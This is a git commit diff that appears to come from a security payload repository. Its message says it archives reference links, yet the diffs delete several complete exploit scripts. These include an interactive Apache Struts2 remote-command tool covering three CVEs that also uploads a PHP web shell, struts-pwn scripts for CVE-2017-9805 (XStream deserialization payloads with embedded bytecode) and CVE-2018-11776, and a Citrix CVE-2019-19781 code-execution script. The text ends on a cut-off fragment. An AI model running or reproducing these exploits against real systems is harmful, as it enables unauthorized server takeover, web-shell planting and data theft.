Archive external reference links via Wayback Machine

Replace direct URLs in Markdown references with their
web.archive.org equivalents to prevent link rot.
This commit is contained in:
Swissky
2026-03-09 13:02:28 +01:00
parent 769b300f4f
commit 497fbe925b
118 changed files with 1661 additions and 4600 deletions

View File

@@ -1,215 +0,0 @@
#!/usr/bin/python
from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import input
from builtins import str
import urllib.request, urllib.error, urllib.parse
import time
import sys
import os
import subprocess
import requests
import readline
import urllib.parse
RED = '\033[1;31m'
BLUE = '\033[94m'
BOLD = '\033[1m'
GREEN = '\033[32m'
OTRO = '\033[36m'
YELLOW = '\033[33m'
ENDC = '\033[0m'
def cls():
os.system(['clear', 'cls'][os.name == 'nt'])
cls()
logo = BLUE+'''
___ _____ ___ _ _ _____ ___
( _`\(_ _)| _`\ ( ) ( )(_ _)( _`\
| (_(_) | | | (_) )| | | | | | | (_(_)
`\__ \ | | | , / | | | | | | `\__ \
( )_) | | | | |\ \ | (_) | | | ( )_) |
`\____) (_) (_) (_)(_____) (_) `\____)
=[ Command Execution v3]=
By @s1kr10s
'''+ENDC
print(logo)
print(" * Ejemplo: http(s)://www.victima.com/files.login\n")
host = input(BOLD+" [+] HOST: "+ENDC)
if len(host) > 0:
if host.find("https://") != -1 or host.find("http://") != -1:
poc = "?redirect:${%23w%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29.getWriter%28%29,%23w.println%28%27mamalo%27%29,%23w.flush%28%29,%23w.close%28%29}"
def exploit(comando):
exploit = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+comando+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return exploit
def exploit2(comando):
exploit2 = "Content-Type:%{(+++#_='multipart/form-data').(+++#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(+++#_memberAccess?(+++#_memberAccess=#dm):((+++#container=#context['com.opensymphony.xwork2.ActionContext.container']).(+++#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(+++#ognlUtil.getExcludedPackageNames().clear()).(+++#ognlUtil.getExcludedClasses().clear()).(+++#context.setMemberAccess(+++#dm)))).(+++#shell='"+str(comando)+"').(+++#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(+++#shells=(+++#iswin?{'cmd.exe','/c',#shell}:{'/bin/sh','-c',#shell})).(+++#p=new java.lang.ProcessBuilder(+++#shells)).(+++#p.redirectErrorStream(true)).(+++#process=#p.start()).(+++#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(+++#process.getInputStream(),#ros)).(+++#ros.flush())}"
return exploit2
def exploit3(comando):
exploit3 = "%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27"+comando+"%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D"
return exploit3
def pwnd(shellfile):
exploitfile = "?redirect:${%23a%3d%28new%20java.lang.ProcessBuilder%28new%20java.lang.String[]{"+shellfile+"}%29%29.start%28%29,%23b%3d%23a.getInputStream%28%29,%23c%3dnew%20java.io.InputStreamReader%28%23b%29,%23d%3dnew%20java.io.BufferedReader%28%23c%29,%23e%3dnew%20char[50000],%23d.read%28%23e%29,%23matt%3d%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29,%23matt.getWriter%28%29.println%28%23e%29,%23matt.getWriter%28%29.flush%28%29,%23matt.getWriter%28%29.close%28%29}"
return exploitfile
def validador():
arr_lin_win = ["file%20/etc/passwd","dir","net%20users","id","/sbin/ifconfig","cat%20/etc/passwd"]
return arr_lin_win
#def reversepl(ip,port):
# print "perl"
#def reversepy(ip,port):
# print "python"
# CVE-2013-2251 ---------------------------------------------------------------------------------
try:
response = ''
response = urllib.request.urlopen(host+poc)
except:
print(RED+" Servidor no responde\n"+ENDC)
exit(0)
print(BOLD+"\n [+] EJECUTANDO EXPLOIT CVE-2013-2251"+ENDC)
if response.read().find("mamalo") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
#print BOLD+" * [SHELL REVERSA]"+ENDC
#print OTRO+" Struts@Shell:$ reverse 127.0.0.1 4444 (perl,python,bash)\n"+ENDC
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
while 1:
separador = input(GREEN+"Struts2@Shell_1:$ "+ENDC)
espacio = separador.split(' ')
comando = "','".join(espacio)
if espacio[0] != 'reverse' and espacio[0] != 'pwnd':
shell = urllib.request.urlopen(host+exploit("'"+str(comando)+"'"))
print("\n"+shell.read())
elif espacio[0] == 'pwnd':
pathsave=input("path EJ:/tmp/: ")
if espacio[1] == 'php':
shellfile = """'python','-c','f%3dopen("/tmp/status.php","w");f.write("<?php%20system($_GET[ksujenenuhw])?>")'"""
urllib.request.urlopen(host+pwnd(str(shellfile)))
shell = urllib.request.urlopen(host+exploit("'ls','-l','"+pathsave+"status.php'"))
if shell.read().find(pathsave+"status.php") != -1:
print(BOLD+GREEN+"\nCreate File Successful :) ["+pathsave+"status.php]\n"+ENDC)
else:
print(BOLD+RED+"\nNo Create File :/\n"+ENDC)
# CVE-2017-5638 ---------------------------------------------------------------------------------
print(BLUE+" [-] NO VULNERABLE"+ENDC)
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2017-5638"+ENDC)
x = 0
while x < len(validador()):
valida = validador()[x]
try:
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(valida))})
result = urllib.request.urlopen(req).read()
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
while 1:
try:
separador = input(GREEN+"\nStruts2@Shell_2:$ "+ENDC)
req = urllib.request.Request(host, None, {'User-Agent': 'Mozilla/5.0', 'Content-Type': exploit2(str(separador))})
result = urllib.request.urlopen(req).read()
print("\n"+result)
except:
exit(0)
else:
x = len(validador())
else:
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
except:
pass
x=x+1
# CVE-2018-11776 ---------------------------------------------------------------------------------
print(BLUE+" [-] NO VULNERABLE"+ENDC)
print(BOLD+" [+] EJECUTANDO EXPLOIT CVE-2018-11776"+ENDC)
x = 0
while x < len(validador()):
#Filtramos la url solo dominio
url = host.replace('#', '%23')
url = host.replace(' ', '%20')
if ('://' not in url):
url = str("http://") + str(url)
scheme = urllib.parse.urlparse(url).scheme
site = scheme + '://' + urllib.parse.urlparse(url).netloc
#Filtramos la url solo path
file_path = urllib.parse.urlparse(url).path
if (file_path == ''):
file_path = '/'
valida = validador()[x]
try:
result = requests.get(site+"/"+exploit3(str(valida))+file_path).text
if result.find("ASCII") != -1 or result.find("No such") != -1 or result.find("Directory of") != -1 or result.find("Volume Serial") != -1 or result.find("inet") != -1 or result.find("root:") != -1 or result.find("uid=") != -1 or result.find("accounts") != -1 or result.find("Cuentas") != -1:
print(RED+" [-] VULNERABLE"+ENDC)
owned = open('vulnsite.txt', 'a')
owned.write(str(host)+'\n')
owned.close()
opcion = input(YELLOW+" [-] RUN THIS EXPLOIT (s/n): "+ENDC)
if opcion == 's':
print(YELLOW+" [-] GET PROMPT...\n"+ENDC)
time.sleep(1)
print(BOLD+" * [UPLOAD SHELL]"+ENDC)
print(OTRO+" Struts@Shell:$ pwnd (php)\n"+ENDC)
while 1:
separador = input(GREEN+"Struts2@Shell_3:$ "+ENDC)
espacio = separador.split(' ')
comando = "%20".join(espacio)
shell = urllib.request.urlopen(host+exploit3(str(comando)))
print("\n"+shell.read())
else:
x = len(validador())
exit(0)
else:
print(BLUE+" [-] NO VULNERABLE "+ENDC + "Payload: " + str(x))
except:
pass
x=x+1
else:
print(RED+" Debe introducir el protocolo (https o http) para el dominio\n"+ENDC)
exit(0)
else:
print(RED+" Debe Ingresar una Url\n"+ENDC)
exit(0)

View File

@@ -1,326 +0,0 @@
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2017-9805 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code is based on:
# https://github.com/rapid7/metasploit-framework/pull/8924
# https://techblog.mediaservice.net/2017/09/detection-payload-for-the-new-struts-rest-vulnerability-cve-2017-9805/
# *****************************************************
from __future__ import print_function
from builtins import str
import argparse
import requests
import sys
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2017-9805 - Apache Struts2 S2-052')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: 'echo test > /tmp/struts-pwn')",
action='store',
default='echo test > /tmp/struts-pwn')
parser.add_argument("--exploit",
dest="do_exploit",
help="Exploit.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
url = args.url if args.url else None
cmd = args.cmd if args.cmd else None
do_exploit = args.do_exploit if args.do_exploit else None
def url_prepare(url):
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str('http') + str('://') + str(url)
return(url)
def exploit(url, cmd, dont_print_status_on_console=False):
url = url_prepare(url)
if dont_print_status_on_console is False:
print('\n[*] URL: %s' % (url))
print('[*] CMD: %s' % (cmd))
cmd = "".join(["<string>{0}</string>".format(_) for _ in cmd.split(" ")])
payload = """
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="java.lang.ProcessBuilder">
<command>
{0}
</command>
<redirectErrorStream>false</redirectErrorStream>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>java.lang.ProcessBuilder</class>
<name>start</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
""".format(cmd)
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Referer': str(url),
'Content-Type': 'application/xml',
'Accept': '*/*'
}
timeout = 3
try:
output = requests.post(url, data=payload, headers=headers, verify=False, timeout=timeout, allow_redirects=False).text
except Exception as e:
print("EXCEPTION::::--> " + str(e))
output = 'ERROR'
return(output)
def check(url):
url = url_prepare(url)
print('\n[*] URL: %s' % (url))
initial_request = exploit(url, "", dont_print_status_on_console=True)
if initial_request == "ERROR":
result = False
print("The host does not respond as expected.")
return(result)
payload_sleep_based_10seconds = """
<map>
<entry>
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
<iter class="javax.imageio.spi.FilterIterator">
<iter class="java.util.Collections$EmptyIterator"/>
<next class="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl" serialization="custom">
<com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
<default>
<__name>Pwnr</__name>
<__bytecodes>
<byte-array>yv66vgAAADIAMwoAAwAiBwAxBwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
dFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJD
bGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5
bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94
c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2Vy
aWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFs
YW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUv
eG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9u
cwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29t
L3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3Vu
L29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7
KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1B
eGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFs
L3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMu
amF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNs
ZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRp
bWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcv
YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFs
L3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEA
BXNsZWVwAQAEKEopVgwALAAtCgArAC4BAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVy
MTY3MTMxNTc4NjQ1ODk0AQAgTHlzb3NlcmlhbC9Qd25lcjE2NzEzMTU3ODY0NTg5NDsAIQACAAMA
AQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0A
AAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0A
AAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAa
AAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMgAA
AAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAiAAMA
AgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ
</byte-array>
<byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
dFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2Vy
aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2
YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xh
bmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRp
bC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQAB
AAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA
AAoAAQACABYAEAAJ</byte-array>
</__bytecodes>
<__transletIndex>-1</__transletIndex>
<__indentNumber>0</__indentNumber>
</default>
<boolean>false</boolean>
</com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
</next>
</iter>
<filter class="javax.imageio.ImageIO$ContainsFilter">
<method>
<class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
<name>newTransformer</name>
<parameter-types/>
</method>
<name>foo</name>
</filter>
<next class="string">foo</next>
</serviceIterator>
<lock/>
</cipher>
<input class="java.lang.ProcessBuilder$NullInputStream"/>
<ibuffer/>
<done>false</done>
<ostart>0</ostart>
<ofinish>0</ofinish>
<closed>false</closed>
</is>
<consumed>false</consumed>
</dataSource>
<transferFlavors/>
</dataHandler>
<dataLen>0</dataLen>
</value>
</jdk.nashorn.internal.objects.NativeString>
<jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
</entry>
<entry>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
<jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>
"""
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Referer': str(url),
'Content-Type': 'application/xml',
'Accept': '*/*'
}
timeout = 8
try:
requests.post(url, data=payload_sleep_based_10seconds, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
# if the response returned before the request timeout.
# then, the host should not be vulnerable.
# The request should return > 10 seconds, while the timeout is 8.
result = False
except Exception:
result = True
return(result)
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
if url:
if not do_exploit:
result = check(url)
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
print(output)
else:
exploit(url, cmd)
print("[$] Request sent.")
print("[.] If the host is vulnerable, the command will be executed in the background.")
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), 'r')
URLs_List = f_file.read().replace('\r', '').split('\n')
try:
URLs_List.remove('')
except ValueError:
pass
f_file.close()
except Exception as e:
print('Error: There was an error in reading list file.')
print("Exception: " + str(e))
exit(1)
for url in URLs_List:
if not do_exploit:
result = check(url)
output = '[*] Status: '
if result is True:
output += 'Vulnerable!'
else:
output += 'Not Affected.'
print(output)
else:
exploit(url, cmd)
print("[$] Request sent.")
print("[.] If the host is vulnerable, the command will be executed in the background.")
print('[%] Done.')
if __name__ == '__main__':
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
except KeyboardInterrupt:
print('\nKeyboardInterrupt Detected.')
print('Exiting...')
exit(0)

View File

@@ -1,231 +0,0 @@
#!/usr/bin/env python3
# coding=utf-8
# *****************************************************
# struts-pwn: Apache Struts CVE-2018-11776 Exploit
# Author:
# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
# This code uses a payload from:
# https://github.com/jas502n/St2-057
# *****************************************************
from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import str
from builtins import range
import argparse
import random
import requests
import sys
try:
from urllib import parse as urlparse
except ImportError:
import urllib.parse
# Disable SSL warnings
try:
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
except Exception:
pass
if len(sys.argv) <= 1:
print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')
print('[*] Struts-PWN - @mazen160')
print('\n%s -h for help.' % (sys.argv[0]))
exit(0)
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url",
dest="url",
help="Check a single URL.",
action='store')
parser.add_argument("-l", "--list",
dest="usedlist",
help="Check a list of URLs.",
action='store')
parser.add_argument("-c", "--cmd",
dest="cmd",
help="Command to execute. (Default: 'id')",
action='store',
default='id')
parser.add_argument("--exploit",
dest="do_exploit",
help="Exploit.",
action='store_true')
args = parser.parse_args()
url = args.url if args.url else None
usedlist = args.usedlist if args.usedlist else None
cmd = args.cmd if args.cmd else None
do_exploit = args.do_exploit if args.do_exploit else None
headers = {
'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',
# 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
'Accept': '*/*'
}
timeout = 3
def parse_url(url):
"""
Parses the URL.
"""
# url: http://example.com/demo/struts2-showcase/index.action
url = url.replace('#', '%23')
url = url.replace(' ', '%20')
if ('://' not in url):
url = str("http://") + str(url)
scheme = urllib.parse.urlparse(url).scheme
# Site: http://example.com
site = scheme + '://' + urllib.parse.urlparse(url).netloc
# FilePath: /demo/struts2-showcase/index.action
file_path = urllib.parse.urlparse(url).path
if (file_path == ''):
file_path = '/'
# Filename: index.action
try:
filename = url.split('/')[-1]
except IndexError:
filename = ''
# File Dir: /demo/struts2-showcase/
file_dir = file_path.rstrip(filename)
if (file_dir == ''):
file_dir = '/'
return({"site": site,
"file_dir": file_dir,
"filename": filename})
def build_injection_inputs(url):
"""
Builds injection inputs for the check.
"""
parsed_url = parse_url(url)
injection_inputs = []
url_directories = parsed_url["file_dir"].split("/")
try:
url_directories.remove("")
except ValueError:
pass
for i in range(len(url_directories)):
injection_entry = "/".join(url_directories[:i])
if not injection_entry.startswith("/"):
injection_entry = "/%s" % (injection_entry)
if not injection_entry.endswith("/"):
injection_entry = "%s/" % (injection_entry)
injection_entry += "{{INJECTION_POINT}}/" # It will be renderred later with the payload.
injection_entry += parsed_url["filename"]
injection_inputs.append(injection_entry)
return(injection_inputs)
def check(url):
random_value = int(''.join(random.choice('0123456789') for i in range(2)))
multiplication_value = random_value * random_value
injection_points = build_injection_inputs(url)
parsed_url = parse_url(url)
print("[%] Checking for CVE-2018-11776")
print("[*] URL: %s" % (url))
print("[*] Total of Attempts: (%s)" % (len(injection_points)))
attempts_counter = 0
for injection_point in injection_points:
attempts_counter += 1
print("[%s/%s]" % (attempts_counter, len(injection_points)))
testing_url = "%s%s" % (parsed_url["site"], injection_point)
testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))
try:
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
continue
if "Location" in list(resp.headers.keys()):
if str(multiplication_value) in resp.headers['Location']:
print("[*] Status: Vulnerable!")
return(injection_point)
print("[*] Status: Not Affected.")
return(None)
def exploit(url, cmd):
parsed_url = parse_url(url)
injection_point = check(url)
if injection_point is None:
print("[%] Target is not vulnerable.")
return(0)
print("[%] Exploiting...")
payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)
testing_url = "%s%s" % (parsed_url["site"], injection_point)
testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)
try:
resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
except Exception as e:
print("EXCEPTION::::--> " + str(e))
return(1)
print("[%] Response:")
print(resp.text)
return(0)
def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
if url:
if not do_exploit:
check(url)
else:
exploit(url, cmd)
if usedlist:
URLs_List = []
try:
f_file = open(str(usedlist), "r")
URLs_List = f_file.read().replace("\r", "").split("\n")
try:
URLs_List.remove("")
except ValueError:
pass
f_file.close()
except Exception as e:
print("Error: There was an error in reading list file.")
print("Exception: " + str(e))
exit(1)
for url in URLs_List:
if not do_exploit:
check(url)
else:
exploit(url, cmd)
print("[%] Done.")
if __name__ == "__main__":
try:
main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
except KeyboardInterrupt:
print("\nKeyboardInterrupt Detected.")
print("Exiting...")
exit(0)

View File

@@ -1,51 +0,0 @@
#!/usr/bin/env python
# https://github.com/mpgn/CVE-2019-19781
# # #
import requests
import string
import random
import re
import sys
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
print("Found by Mikhail Klyuchnikov")
print("")
if len(sys.argv) < 2:
print("[-] No URL provided")
sys.exit(0)
while True:
try:
command = input("command > ")
random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
print("[+] Adding bookmark", random_xml + ".xml")
burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
if r.status_code == 200:
print("[+] Bookmark added")
else:
print("\n[-] Target not vulnerable or something went wrong")
sys.exit(0)
burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
random_xml, "NSC_NONCE": "c", "Connection": "close"}
r = requests.get(burp0_url, headers=burp0_headers,verify=False)
replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
print("[+] Result of the command: \n")
print(replaced)
except KeyboardInterrupt:
print("Exiting...")
break

View File

@@ -1,49 +0,0 @@
from __future__ import print_function
import requests
import logging
import json
import urllib.parse
# NOTE
# Enable Remote API with the following command
